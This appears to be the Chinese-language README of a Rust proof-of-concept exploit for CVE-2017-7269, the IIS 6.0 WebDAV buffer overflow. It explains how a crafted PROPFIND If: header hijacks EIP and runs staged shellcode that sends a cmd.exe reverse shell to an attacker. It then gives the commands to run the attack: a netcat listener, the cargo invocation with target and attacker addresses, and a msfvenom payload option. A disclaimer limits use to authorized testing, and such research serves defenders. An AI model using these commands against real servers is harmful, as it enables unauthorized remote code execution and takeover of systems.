
CVE-2017-7269 POC 的 Rust 实现,针对 Microsoft Internet Information Services (IIS) 6.0 中的 WebDAV 服务。
一个针对 CVE-2017-7269 的 Rust POC 实现,目标是 Microsoft Internet Information Services (IIS) 6.0 中的 WebDAV 服务。
CVE-2017-7269 是 Microsoft IIS 6.0(随 Windows Server 2003 R2 一起发布)WebDAV 服务中存在的一个严重栈缓冲区溢出漏洞。成功利用该漏洞可使未经身份验证的攻击者在目标服务器上实现远程代码执行。
httpext.dll(IIS WebDAV 扩展)ScStoragePathFromUrlPROPFIND HTTP 请求。If: 头。该漏洞是一个经典的栈缓冲区溢出。当 ScStoragePathFromUrl 函数处理包含恶意 If: 头的 PROPFIND 请求时,漏洞即被触发。
该利用程序通过构造一个包含长字节串的此类头,使栈上分配的缓冲区发生溢出。溢出会覆盖关键栈数据,包括保存的返回地址(EIP)。利用程序将该返回地址指向同样位于恶意头中的一小段初始 shellcode 载荷,从而劫持程序的执行流程。这段第一阶段 shellcode 的任务是查找并执行主载荷——一个反向 shell,它随同一 HTTP 请求的正文发送。此 POC 通过将 cmd.exe shell 回连至攻击者控制的监听器,成功演示了远程代码执行。
准备一个监听器(调整端口以匹配 --lport):
nc -lvnp <attacker-port>
使用内嵌 shellcode 运行利用程序:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
该工具使用 LHOST/LPORT 动态修补 WSA shellcode,并将其放在 HTTP 正文中发送。当目标存在漏洞时,你的监听器将收到来自 cmd.exe 的反向 shell。
--payload)制作一个原始载荷
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
发送载荷(无需 --lhost/--lport,因为 shellcode 已包含这些信息):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
像之前一样在同一个监听器中处理回调。由于该二进制程序只是简单流式传输所提供的字节,具体行为取决于你生成的载荷。
此工具仅用于教育和经授权的渗透测试目的。请负责任地使用,并且仅在你拥有或获得明确许可的系统上使用。